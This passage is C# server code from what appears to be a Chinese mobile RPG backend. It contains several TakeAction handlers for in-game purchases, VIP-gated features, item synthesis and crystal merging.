ShopType.PresendBox) { int useGold = mallPrice * _num; //if (mallItemInfo.MallType == ShopType.PresendBox) //{ if (ContextUser.GoldNum < useGold) { ErrorCode = 3; ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, useGold); //增加道具日志统计 var mallItemLog = new MallItemLog { Amount = useGold, CreateDate = DateTime.Now, ItemID = _itemId, ItemName = itemInfo.ItemName, ItemNum = _num, MobileType = ContextUser.MobileType, Pid = ContextUser.Pid, PropType = itemInfo.PropType, RetailID = ContextUser.RetailID, Uid = ContextUser.UserID.ToInt() }; var sender = DataSyncManager.GetDataSender(); sender.Send(mallItemLog); UserItemHelper.AddUserItem(ContextUser.UserID, _itemId, _num); UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 8, 1, 1, useGold, ContextUser.GoldNum, MathUtils.Addition(ContextUser.GoldNum, useGold, int.MaxValue)); //} //预留判断消耗的是金币还是晶石 //else //{ // if (ContextUser.GameCoin <useGold) // { // ErrorCode = LanguageManager.GetLang().ErrorCode; // ErrorInfo = LanguageManager.GetLang().St_GameCoinNotEnough; // return false; // } // ContextUser.GameCoin = MathUtils.Subtraction(ContextUser.GameCoin, useGold); // UserItemHelper.AddUserItem(ContextUser.UserID, _itemId, _num); //} } return(true); }
public override bool TakeAction() { UserChallengeNum userchallenge = new GameDataCacheSet <UserChallengeNum>().FindKey(ContextUser.UserID); int openGold = GetChallengeNum(ContextUser.UserID); if (ops == 1) { this.ErrorCode = 1; this.ErrorInfo = openGold.ToString(); return(false); } else if (ops == 2) { if (ContextUser.GoldNum >= openGold) { this.ErrorCode = 2; ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, openGold, int.MaxValue); int num = 0; if (userchallenge == null) { num = 1; UserChallengeNum userChallengeNum = new UserChallengeNum() { UserID = ContextUser.UserID, ChallengeNum = 1, InsertDate = DateTime.Now }; new GameDataCacheSet <UserChallengeNum>().Add(userChallengeNum, GameEnvironment.CacheUserPeriod); } else { if (userchallenge.InsertDate.Date == DateTime.Now.Date) { num = MathUtils.Addition(userchallenge.ChallengeNum, 1, int.MaxValue); userchallenge.ChallengeNum = num; } else { userchallenge.ChallengeNum = 1; num = 1; } userchallenge.InsertDate = DateTime.Now; } UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 4, 0, num, openGold, ContextUser.GoldNum, MathUtils.Addition(ContextUser.GoldNum, openGold, int.MaxValue)); } else { //todo 客户端跳转充值页面的特殊值 10 this.ErrorCode = LanguageManager.GetLang().RechargeError; this.ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } } else { this.ErrorCode = LanguageManager.GetLang().ErrorCode; return(false); } return(true); }
public override bool TakeAction() { UserHelper.ChechDailyRestrain(ContextUser.UserID); int wjkNum = 0; int subNum = 0; int maxNum = VipHelper.GetVipUseNum(ContextUser.VipLv, RestrainType.WaJinKuang); UserDailyRestrain userRestrain = new GameDataCacheSet <UserDailyRestrain>().FindKey(ContextUser.UserID); if (userRestrain != null && DateTime.Now.Date == userRestrain.RefreshDate.Date) { wjkNum = userRestrain.Funtion3; subNum = MathUtils.Subtraction(maxNum, wjkNum); } else { wjkNum = 0; subNum = maxNum; } if ((userRestrain != null && userRestrain.Funtion3 >= VipHelper.GetVipUseNum(ContextUser.VipLv, RestrainType.WaJinKuang) && DateTime.Now.Date == userRestrain.RefreshDate.Date)) { ErrorCode = 2; ErrorInfo = LanguageManager.GetLang().St1011_WaJinKuangFull; return(false); } int useGold = GetPayCoinGold(ContextUser.UserID, ContextUser.VipLv, payType); int payCoinNum = GetPayCoinNum(ContextUser.UserID, ContextUser.VipLv, payType, ContextUser.UserLv); if (payType == 1) { if (ops == 1) { this.ErrorCode = 1; this.ErrorInfo = string.Format(LanguageManager.GetLang().St1011_PayUseGold, useGold, payCoinNum, subNum); return(false); } else if (ops == 2) { if (ContextUser.GoldNum < useGold) { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } if (ContextUser.GoldNum >= useGold) { int goldNum = ContextUser.GoldNum; ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, useGold); ContextUser.GameCoin = MathUtils.Addition(ContextUser.GameCoin, payCoinNum); //ContextUser.Update(); if (userRestrain != null) { userRestrain.Funtion3 = MathUtils.Addition(wjkNum, 1); //userRestrain.Update(); UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 2, 0, userRestrain.Funtion3, useGold, ContextUser.GoldNum, goldNum); } } this.ErrorCode = 0; this.ErrorInfo = string.Format(LanguageManager.GetLang().St1011_PayCoinUseGold, useGold, payCoinNum, subNum - 1); return(false); } } else if (payType == 2) { if (!VipHelper.GetVipOpenFun(ContextUser.VipLv, ExpandType.ZiDongJinRuJinKuangDong)) { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St_VipNotEnoughNotFuntion; return(false); } if (ops == 1) { this.ErrorCode = 0; this.ErrorInfo = string.Format(LanguageManager.GetLang().St1011_PayCoinUseGold, useGold, payCoinNum, subNum); return(false); } else if (ops == 2) { if (ContextUser.VipLv < 6) { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St_VipNotEnough; return(false); } if (ContextUser.GoldNum < useGold) { this.ErrorCode = LanguageManager.GetLang().ErrorCode; this.ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } if (userRestrain != null) { userRestrain.Funtion3 = MathUtils.Addition(wjkNum, 1); //userRestrain.Update(); } int gamecoin = GetPayCoinNum(ContextUser.UserID, ContextUser.VipLv, payType, ContextUser.UserLv); ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, useGold); ContextUser.GameCoin = MathUtils.Addition(ContextUser.GameCoin, gamecoin); //ContextUser.Update(); } } return(true); }
public override bool TakeAction() { if (ContextUser.VipLv < 4) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_VipNotEnough; return(false); } List <UserLand> uLandArray = new GameDataCacheSet <UserLand>().FindAll(ContextUser.UserID); if (uLandArray.Count < 9) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St10010_LandNotEnough; return(false); } if (uLandArray.Count > 0 && uLandArray[uLandArray.Count - 1].IsRedLand == 1) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St10010_RedLandFull; return(false); } List <UserLand> landArray = new GameDataCacheSet <UserLand>().FindAll(ContextUser.UserID, u => u.IsRedLand == 2); int position = 0; if (landArray.Count > 0) { position = landArray[0].LandPositon; } else { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St10010_UpRedLandNotEnough; return(false); } int sumGold = GetPostionUseGold(position); if (ops == 1) { ErrorCode = 1; ErrorInfo = string.Format(LanguageManager.GetLang().St10010_UpRedLandUseGold, sumGold); return(false); } else if (ops == 2) { if (ContextUser.GoldNum < sumGold) { ErrorCode = 2; ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } UserLand land = new GameDataCacheSet <UserLand>().FindKey(ContextUser.UserID, position); if (land != null && land.IsRedLand == 2) { if (land.IsRedLand == 2) { land.IsRedLand = 1; //land.Update(); ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, sumGold, int.MaxValue); //ContextUser.Update(); UserLogHelper.AppenLandLog(ContextUser.UserID, 2, 0, position, sumGold, 0, 0, 0); } } else { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St10010_UpRedLandNotEnough; return(false); } } return(true); }
public override bool TakeAction() { //List<UserQueue> queueList = new PersonalCacheStruct<UserQueue>().FindAll(ContextUser.UserID, m => m.QueueType == QueueType.MagicStrong); //if (queueList.Count > 0) //{ // if (queueList[0].StrengNum >= 2 && queueList[0].DoRefresh() > 0) // { // ErrorCode = LanguageManager.GetLang().ErrorCode; // ErrorInfo = LanguageManager.GetLang().St1503_MagicColding; // return false; // } //} magicInfo = new ShareCacheStruct <MagicInfo>().FindKey(magicID); if (magicInfo == null) { return(false); } int maxMagicLv = ConfigEnvSet.GetInt("Queue.MaxLength"); UserMagic userMagic = new PersonalCacheStruct <UserMagic>().FindKey(ContextUser.UserID, magicID); if (userMagic == null) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1503_MagicIDNotEnough; return(false); } sumMagicLv = MathUtils.Addition(userMagic.MagicLv, (short)1, (short)100); MagicLvInfo magicLvInfo = new ShareCacheStruct <MagicLvInfo>().FindKey(magicID, sumMagicLv); if (magicLvInfo == null || userMagic.MagicLv == maxMagicLv) { guideID = 1; //等级已达到最高 ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1503_MaxMagicLv; return(false); } if (ContextUser.UserLv < magicLvInfo.EscalateMinLv) { //超出用户等级 ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1503_MagicLevel; return(false); } experience = magicLvInfo.ExpNum; //codeTime = magicLvInfo.ColdTime; if (experience > ContextUser.ExpNum) { guideID = 3; //阅历不足 ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = string.Format(LanguageManager.GetLang().St1503_UpgradeExpNum); return(false); } int useGold = 0; if (ops == 1) { if (!VipHelper.GetVipOpenFun(ContextUser.VipLv, ExpandType.EquXiaoChuLengQueShiJian)) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_VipNotEnoughNotFuntion; return(false); } useGold = (codeTime / 60); if (ContextUser.GoldNum < useGold) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, useGold, int.MaxValue); } else { //放入队列中 // List<UserQueue> queueList = new PersonalCacheStruct<UserQueue>().FindAll(ContextUser.UserID, m => m.QueueType ==QueueType.MagicStrong); //todo //if (queueList.Count > 0) //{ // UserQueue queue = queueList[0]; // if (queue.DoRefresh() > 0 && queue.StrengNum < 2) // { // queue.TotalColdTime = MathUtils.Addition(queue.TotalColdTime, codeTime, int.MaxValue); // queue.ColdTime = MathUtils.Addition(queue.ColdTime, codeTime, int.MaxValue); // queue.IsSuspend = false; // queue.StrengNum = MathUtils.Addition(queue.StrengNum, 1, int.MaxValue); // //queue.Update(); // } // else // { // queue.TotalColdTime = codeTime; // queue.Timing = DateTime.Now; // queue.ColdTime = codeTime; // queue.IsSuspend = false; // queue.StrengNum = 1; // //queue.Update(); // } //} //else //{ // UserQueue userQueue = new UserQueue() // { // QueueID = Guid.NewGuid().ToString(), // UserID = ContextUser.UserID, // QueueType = QueueType.MagicStrong, // QueueName = QueueType.MagicStrong.ToString(), // TotalColdTime = codeTime, // Timing = DateTime.Now, // ColdTime = codeTime, // StrengNum = 1, // IsSuspend = false // }; // new PersonalCacheStruct<UserQueue>().Add(userQueue); //} } if (userMagic != null) { if (userMagic.MagicType == MagicType.MoFaZhen) { MagicLvInfo mLvInfo = new ShareCacheStruct <MagicLvInfo>().FindKey(userMagic.MagicID, userMagic.MagicLv); string[] mGridRange = mLvInfo.GridRange.Split(','); foreach (string gridRange in mGridRange) { UserEmbattle userEmbattle = new PersonalCacheStruct <UserEmbattle>().FindKey(ContextUser.UserID, userMagic.MagicID, gridRange.ToShort()); if (userEmbattle == null) { UserEmbattle embattle = new UserEmbattle() { UserID = ContextUser.UserID, MagicID = userMagic.MagicID, Position = gridRange.ToShort(), GeneralID = 0 }; new PersonalCacheStruct <UserEmbattle>().Add(embattle); } } } if (experience < ContextUser.ExpNum) { ContextUser.ExpNum = MathUtils.Subtraction(ContextUser.ExpNum, experience, 0); userMagic.MagicLv = MathUtils.Addition(userMagic.MagicLv, (short)1, (short)maxMagicLv); } UserLogHelper.AppenStrongLog(ContextUser.UserID, 1, null, magicID, 2, (short)userMagic.MagicLv, useGold, 0); } List <UserGeneral> userGeneralsArray = new PersonalCacheStruct <UserGeneral>().FindAll(ContextUser.UserID, s => s.GeneralStatus == GeneralStatus.DuiWuZhong && s.GeneralType != GeneralType.Soul); foreach (UserGeneral general in userGeneralsArray) { general.RefreshMaxLife(); } //日常任务-魔术升级 TaskHelper.TriggerDailyTask(Uid, 4004); return(true); }
public override bool TakeAction() { short optype = 0; int qualityID = 0; int totalNum = 0; var plantQualitieArray = new GameDataCacheSet <UserPlantQuality>().FindAll(ContextUser.UserID, u => u.RefreshDate.Date == DateTime.Now.Date); if (plantQualitieArray.Count > 0) { totalNum = plantQualitieArray[0].RefreshNum; } foreach (UserPlantQuality userPlantQuality in plantQualitieArray) { if (totalNum < userPlantQuality.RefreshNum) { totalNum = userPlantQuality.RefreshNum; } } PlantType pType = (PlantType)Enum.Parse(typeof(PlantType), plantType.ToString()); if (pType == PlantType.Experience) { optype = 4; } else { optype = 5; } int refreshNum = ConfigEnvSet.GetInt("UserPlant.QualityRefreshNum"); UserPlantQuality plantQuality = new GameDataCacheSet <UserPlantQuality>().FindKey(ContextUser.UserID, generalID, pType); if (plantQuality == null) { return(false); } if (plantQuality.PlantQuality == PlantQualityType.Shenhua) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St10005_MaxQualityType; return(false); } if (refershID == 1 && ops == 1) { ErrorCode = 1; ErrorInfo = string.Format(LanguageManager.GetLang().St10005_Refresh, GetRefreshNum(ContextUser.UserID, totalNum)); return(false); } else if (refershID == 1 && ops == 2) { if (ContextUser.GoldNum < GetRefreshNum(ContextUser.UserID, totalNum)) { ErrorCode = 2; ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, GetRefreshNum(ContextUser.UserID, totalNum), int.MaxValue); QualityProbabilityInfo probabilityInfo = new ConfigCacheSet <QualityProbabilityInfo>().FindKey(plantQuality.PlantQuality); if (RandomUtils.IsHit(probabilityInfo.Light)) { if (!string.IsNullOrEmpty(plantQuality.UserID) && DateTime.Now.Date == plantQuality.RefreshDate.Date && plantQuality.PlantQuality != PlantQualityType.Shenhua) { qualityID = MathUtils.Addition(Convert.ToInt32(plantQuality.PlantQuality), 1, int.MaxValue); } else { qualityID = 2; } PlantQualityType pQualityType = (PlantQualityType)Enum.Parse(typeof(PlantQualityType), qualityID.ToString()); ErrorCode = ErrorCode; ErrorInfo = probabilityInfo.QualityName; if (!string.IsNullOrEmpty(plantQuality.UserID)) { UpdatePlantQuailty(plantQuality, pQualityType, totalNum); } else { AppendPlantQuality(pType, pQualityType); } } else { if (!string.IsNullOrEmpty(plantQuality.UserID) && DateTime.Now.Date == plantQuality.RefreshDate.Date && plantQuality.PlantQuality != PlantQualityType.PuTong) { qualityID = MathUtils.Subtraction(Convert.ToInt32(plantQuality.PlantQuality), 1, 0); } else { qualityID = 1; } PlantQualityType pQualityType = (PlantQualityType)Enum.Parse(typeof(PlantQualityType), qualityID.ToString()); UpdatePlantQuailty(plantQuality, pQualityType, totalNum); } UserLogHelper.AppenLandLog(ContextUser.UserID, optype, generalID, 0, GetRefreshNum(ContextUser.UserID, totalNum), (short)plantQuality.PlantQuality, 0, 0); } else if (refershID == 2 && ops == 1) { if (ContextUser.VipLv < 5) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_VipNotEnough; return(false); } ErrorCode = 1; ErrorInfo = string.Format(LanguageManager.GetLang().St10005_Refresh, refreshNum); return(false); } else if (refershID == 2 && ops == 2) { if (ContextUser.GoldNum < refreshNum) { ErrorCode = 2; ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } PlantQualityType pQualityType = PlantQualityType.Shenhua; if (!string.IsNullOrEmpty(plantQuality.UserID)) { UpdatePlantQuailty(plantQuality, pQualityType, totalNum); } else { AppendPlantQuality(pType, pQualityType); } ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, refreshNum, int.MaxValue); UserLogHelper.AppenLandLog(ContextUser.UserID, optype, generalID, 0, refreshNum, (short)plantQuality.PlantQuality, 0, 0); } return(true); }
public override bool TakeAction() { short opType = 0; UserItemInfo synthesisUserItem = null; var package = UserItemPackage.Get(Uid); UserItemInfo userItem = null; if (!string.IsNullOrEmpty(_userItemID)) { var userItemList = package.ItemPackage.FindAll(m => !m.IsRemove && m.UserItemID.Equals(_userItemID)); foreach (var item in userItemList) { if (item.ItemStatus == ItemStatus.Sell) { package.RemoveItem(userItem); continue; } else if (item.SoldDate > MathUtils.SqlMinDate) { item.SoldDate = MathUtils.SqlMinDate; //package.Update(); userItem = item; } else { userItem = item; } } if (userItem == null) { return(false); } ItemBaseInfo itemBaseOpType = new ConfigCacheSet <ItemBaseInfo>().FindKey(userItem.ItemID); if (itemBaseOpType == null) { return(false); } if (itemBaseOpType.ItemType == ItemType.TuZhi) { opType = 1; } else { opType = 2; } } else if (!string.IsNullOrEmpty(_userEquID)) { opType = 1; userItem = package.ItemPackage.Find(m => !m.IsRemove && m.UserItemID.Equals(_userEquID)); } if (userItem == null) { return(false); } int genlv = ContextUser.UserLv; CacheList <SynthesisInfo> synthesisInfoList = new CacheList <SynthesisInfo>(); short itemLv = 0; List <ItemSynthesisInfo> itemSynthesisArray = new ConfigCacheSet <ItemSynthesisInfo>().FindAll(m => m.SynthesisID == userItem.ItemID); //图纸ID if (itemSynthesisArray.Count > 0) { ItemSynthesisInfo synthesisInfo = itemSynthesisArray[0]; if (synthesisInfo == null) { return(false); } ItemBaseInfo itemInfo = new ConfigCacheSet <ItemBaseInfo>().FindKey(synthesisInfo.ItemID); if (itemInfo != null && itemInfo.ItemType == ItemType.ZhuangBei && itemInfo.DemandLv > genlv) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_LevelNotEnough; return(false); } List <ItemSynthesisInfo> synthesisArray = new ConfigCacheSet <ItemSynthesisInfo>().FindAll(m => m.ItemID == synthesisInfo.ItemID);//合成物品的材料数组 if (synthesisArray.Count == 0) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().LoadDataError; return(false); } int useGold = GetSytnthesisGold(ContextUser.UserID, synthesisInfo.ItemID); if (_ops == 1) { #region 普通合成 if (!GetMaterialsNum(ContextUser.UserID, synthesisInfo.ItemID) && ContextUser.VipLv < 4) { ErrorCode = 3; ErrorInfo = LanguageManager.GetLang().St1603_MaterialsNotEnough; return(false); } if (!GetMaterialsNum(ContextUser.UserID, synthesisInfo.ItemID) && ContextUser.VipLv >= 4) { ErrorCode = 2; ErrorInfo = LanguageManager.GetLang().St1603_MaterialsNotEnough + "," + string.Format(LanguageManager.GetLang().St1603_SynthesisEnergyNum, useGold); return(false); } foreach (ItemSynthesisInfo synthesis in synthesisArray) { ItemBaseInfo itemsInfo = new ConfigCacheSet <ItemBaseInfo>().FindKey(synthesis.SynthesisID); if (itemInfo == null) { return(false); } if (!string.IsNullOrEmpty(_userEquID) && synthesis.SynthesisID == userItem.ItemID && itemsInfo != null && itemInfo.ItemType == ItemType.ZhuangBei) { if (userItem.ItemStatus == ItemStatus.YongBing) { //if (UserHelper.IsItemEquSpare(ContextUser, userItem.UserItemID)) //{ // ErrorCode = LanguageManager.GetLang().ErrorCode; // ErrorInfo = LanguageManager.GetLang().St_ItemEquIndexOfSpare; // return false; //} if (IsLevelNotEnough(ContextUser, userItem.GeneralID, synthesisInfo.ItemID)) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_LevelNotEnough; return(false); } UserItemHelper.AddItemLog(ContextUser.UserID, userItem.ItemID, userItem.Num, userItem.ItemLv, 9, userItem.UserItemID); synthesisInfoList.Add(new SynthesisInfo() { DemandID = userItem.ItemID, Num = 1 }); //package.SyncCache(() => //{ // userItem.IsRemove = true; // package.ItemPackage.Remove(userItem); // package.DelayChange(); //}); } } else { if (itemsInfo != null && itemsInfo.ItemType == ItemType.ZhuangBei) { synthesisUserItem = GetUserItemInfo(ContextUser.UserID, itemsInfo.ItemID); if (IsLevelNotEnough(ContextUser, synthesisUserItem.GeneralID, synthesisInfo.ItemID)) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_LevelNotEnough; return(false); } //synthesisUserItem = GetUserItemInfo(ContextUser.UserID, itemsInfo.ItemID); } else { synthesisInfoList.Add(new SynthesisInfo() { DemandID = synthesis.SynthesisID, Num = synthesis.DemandNum }); UserItemHelper.UseUserItem(ContextUser.UserID, synthesis.SynthesisID, synthesis.DemandNum); } } } if (!string.IsNullOrEmpty(_userEquID)) { itemLv = MathUtils.Subtraction(userItem.ItemLv, (short)5, (short)1); UpdateUserItem(synthesisInfo.ItemID, userItem); UserLogHelper.AppenItemSynthesisLog(ContextUser.UserID, opType, synthesisInfo.ItemID, 1, synthesisInfoList, null, 0, itemLv, userItem.ItemLv); } else { if (synthesisUserItem != null) { itemLv = MathUtils.Subtraction(synthesisUserItem.ItemLv, (short)5, (short)1); UpdateUserItem(synthesisInfo.ItemID, synthesisUserItem); UserLogHelper.AppenItemSynthesisLog(ContextUser.UserID, opType, synthesisInfo.ItemID, 1, synthesisInfoList, null, 0, itemLv, userItem.ItemLv); } else { UserItemHelper.AddUserItem(ContextUser.UserID, synthesisInfo.ItemID, synthesisArray[0].SynthesisNum); UserLogHelper.AppenItemSynthesisLog(ContextUser.UserID, opType, synthesisInfo.ItemID, 1, synthesisInfoList, null, 0, itemLv, userItem.ItemLv); } } #endregion } else if (_ops == 2) { #region 晶石合成 if (!VipHelper.GetVipOpenFun(ContextUser.VipLv, ExpandType.JuanZouZhiJieWanCheng)) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_VipNotEnoughNotFuntion; return(false); } ErrorCode = 1; ErrorInfo = string.Format(LanguageManager.GetLang().St1603_SynthesisEnergyNum, useGold); return(false); #endregion } else if (_ops == 3) { #region 确认晶石合成 if (ContextUser.GoldNum < useGold) { ErrorCode = 1; ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough; return(false); } //原因:配置材料不使用晶石合成时提示 string userItemName = UseritemGoldName(ContextUser.UserID, synthesisArray); if (!string.IsNullOrEmpty(userItemName)) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = string.Format(LanguageManager.GetLang().St_ItemIsGold, userItemName); return(false); } foreach (ItemSynthesisInfo synthesis in synthesisArray) { int curNum = 0; ItemBaseInfo itemsInfo = new ConfigCacheSet <ItemBaseInfo>().FindKey(synthesis.SynthesisID); if (!string.IsNullOrEmpty(_userEquID) && synthesis.SynthesisID == userItem.ItemID) { if (userItem.ItemStatus == ItemStatus.YongBing) { if (IsLevelNotEnough(ContextUser, userItem.GeneralID, synthesisInfo.ItemID)) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_LevelNotEnough; return(false); } UserItemHelper.AddItemLog(ContextUser.UserID, userItem.ItemID, userItem.Num, userItem.ItemLv, 9, userItem.UserItemID); synthesisInfoList.Add(new SynthesisInfo() { DemandID = userItem.ItemID, Num = 1 }); } } else { if (itemsInfo != null && itemsInfo.ItemType == ItemType.ZhuangBei) { synthesisUserItem = GetUserItemInfo(ContextUser.UserID, itemsInfo.ItemID); if (IsLevelNotEnough(ContextUser, synthesisUserItem.GeneralID, synthesisInfo.ItemID)) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St_LevelNotEnough; return(false); } } else { var itemArray = UserItemHelper.GetItems(Uid).FindAll(u => u.ItemID.Equals(synthesis.SynthesisID) && (u.ItemStatus == ItemStatus.BeiBao || u.ItemStatus == ItemStatus.CangKu)); if (itemArray.Count > 0) { foreach (var item in itemArray) { curNum += item.Num; } if (synthesis.DemandNum < curNum) { UserItemHelper.UseUserItem(ContextUser.UserID, synthesis.SynthesisID, synthesis.DemandNum); synthesisInfoList.Add(new SynthesisInfo() { DemandID = synthesis.SynthesisID, Num = synthesis.DemandNum }); } else { UserItemHelper.UseUserItem(ContextUser.UserID, synthesis.SynthesisID, curNum); synthesisInfoList.Add(new SynthesisInfo() { DemandID = synthesis.SynthesisID, Num = curNum }); } } } } } if (!string.IsNullOrEmpty(_userEquID)) { itemLv = MathUtils.Subtraction(userItem.ItemLv, (short)5, (short)1); UpdateUserItem(synthesisInfo.ItemID, userItem); UserLogHelper.AppenItemSynthesisLog(ContextUser.UserID, opType, synthesisInfo.ItemID, 1, synthesisInfoList, null, 0, itemLv, userItem.ItemLv); } else { if (synthesisUserItem != null) { itemLv = MathUtils.Subtraction(synthesisUserItem.ItemLv, (short)5, (short)1); UpdateUserItem(synthesisInfo.ItemID, synthesisUserItem); UserLogHelper.AppenItemSynthesisLog(ContextUser.UserID, opType, synthesisInfo.ItemID, 1, synthesisInfoList, null, 0, itemLv, userItem.ItemLv); } else { UserItemHelper.AddUserItem(ContextUser.UserID, synthesisInfo.ItemID, synthesisArray[0].SynthesisNum); UserLogHelper.AppenItemSynthesisLog(ContextUser.UserID, opType, synthesisInfo.ItemID, 1, synthesisInfoList, null, 0, itemLv, userItem.ItemLv); } } ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, useGold, int.MaxValue); // ContextUser.Update(); #endregion } } return(true); }
public override bool TakeAction() { var package = UserCrystalPackage.Get(Uid); if (ops == 1) { UserCrystalInfo userCryStal1 = package.CrystalPackage.Find(m => m.UserCrystalID.Equals(userCrystalID1)); UserCrystalInfo userCryStal2 = package.CrystalPackage.Find(m => m.UserCrystalID.Equals(userCrystalID2)); // UserCrystal userCryStal1 = UserCrystal.FindKey(userCrystalID1); //UserCrystal userCryStal2 = UserCrystal.FindKey(userCrystalID2); if (userCryStal1 == null || userCryStal2 == null) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1308_CrystalNotEnough; return(false); } if (userCryStal1.CrystalLv > 9) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1308_CrystalLvFull; return(false); } CrystalInfo crystalInfo1 = new ShareCacheStruct <CrystalInfo>().FindKey(userCryStal1.CrystalID); CrystalInfo crystalInfo2 = new ShareCacheStruct <CrystalInfo>().FindKey(userCryStal2.CrystalID); int cryExprience1 = 0; int cryExprience2 = 0; if (crystalInfo1 != null && crystalInfo2 != null) { cryExprience1 = crystalInfo1.Experience; cryExprience2 = crystalInfo2.Experience; if (crystalInfo1.CrystalQuality == crystalInfo2.CrystalQuality) { if (userCryStal1.CurrExprience >= userCryStal2.CurrExprience) { UpdateCrystal(userCrystalID1, userCrystalID2, cryExprience2); } else { UpdateCrystal(userCrystalID2, userCrystalID1, cryExprience1); } } else if (crystalInfo1.CrystalQuality > crystalInfo2.CrystalQuality) { UpdateCrystal(userCrystalID1, userCrystalID2, cryExprience2); } else { UpdateCrystal(userCrystalID2, userCrystalID1, cryExprience1); } } } else if (ops == 2) { CacheList <SynthesisInfo> SynList = new CacheList <SynthesisInfo>(); int experience = 0; var userCrystalArray = package.CrystalPackage.FindAll(m => m.IsSale == 2 && m.GeneralID.Equals(0)); if (userCrystalArray.Count == 0) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1308_CrystalNotEnough; return(false); } userCrystalArray.QuickSort((x, y) => { int result = 0; if (x == null && y == null) { return(0); } if (x != null && y == null) { return(1); } if (x == null) { return(-1); } result = (int)new ShareCacheStruct <CrystalInfo>().FindKey(y.CrystalID).CrystalQuality.CompareTo( new ShareCacheStruct <CrystalInfo>().FindKey(x.CrystalID).CrystalQuality); if (result == 0) { result = y.CurrExprience.CompareTo(x.CurrExprience); } return(result); }); UserCrystalInfo userCrystal1 = package.CrystalPackage.Find(m => m.UserCrystalID == userCrystalArray[0].UserCrystalID); int maxExprience = 0; if (userCrystal1 == null) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1308_CrystalNotEnough; return(false); } short upLv = 10; CrystalLvInfo crystalLvInfo = new ShareCacheStruct <CrystalLvInfo>().FindKey(userCrystal1.CrystalID, upLv); maxExprience = crystalLvInfo == null ? 0 : crystalLvInfo.UpExperience; foreach (UserCrystalInfo crystal in userCrystalArray) { CrystalInfo crystalInfo = new ShareCacheStruct <CrystalInfo>().FindKey(crystal.CrystalID); if (crystalInfo != null) { experience = crystalInfo.Experience; } if (userCrystal1.UserCrystalID != crystal.UserCrystalID) { SynList.Add(new SynthesisInfo() { DemandID = crystal.CrystalID, Num = crystal.CurrExprience }); if (userCrystal1.CurrExprience >= maxExprience) { ErrorCode = LanguageManager.GetLang().ErrorCode; ErrorInfo = LanguageManager.GetLang().St1308_CrystalLvFull; break; } experience = MathUtils.Addition(experience, userCrystal1.CurrExprience); experience = MathUtils.Addition(experience, crystal.CurrExprience); userCrystal1.CurrExprience = experience; package.SaveCrystal(userCrystal1); //package.DelayChange(); package.RemoveCrystal(crystal); } } UserLogHelper.AppenCtystalLog(ContextUser.UserID, 3, userCrystal1.CrystalID, 0, 0, SynList, userCrystal1.CrystalLv, userCrystal1.CurrExprience); UserHelper.CheckCrystalEscalate(ContextUser.UserID, userCrystalArray[0].UserCrystalID); } return(true); }
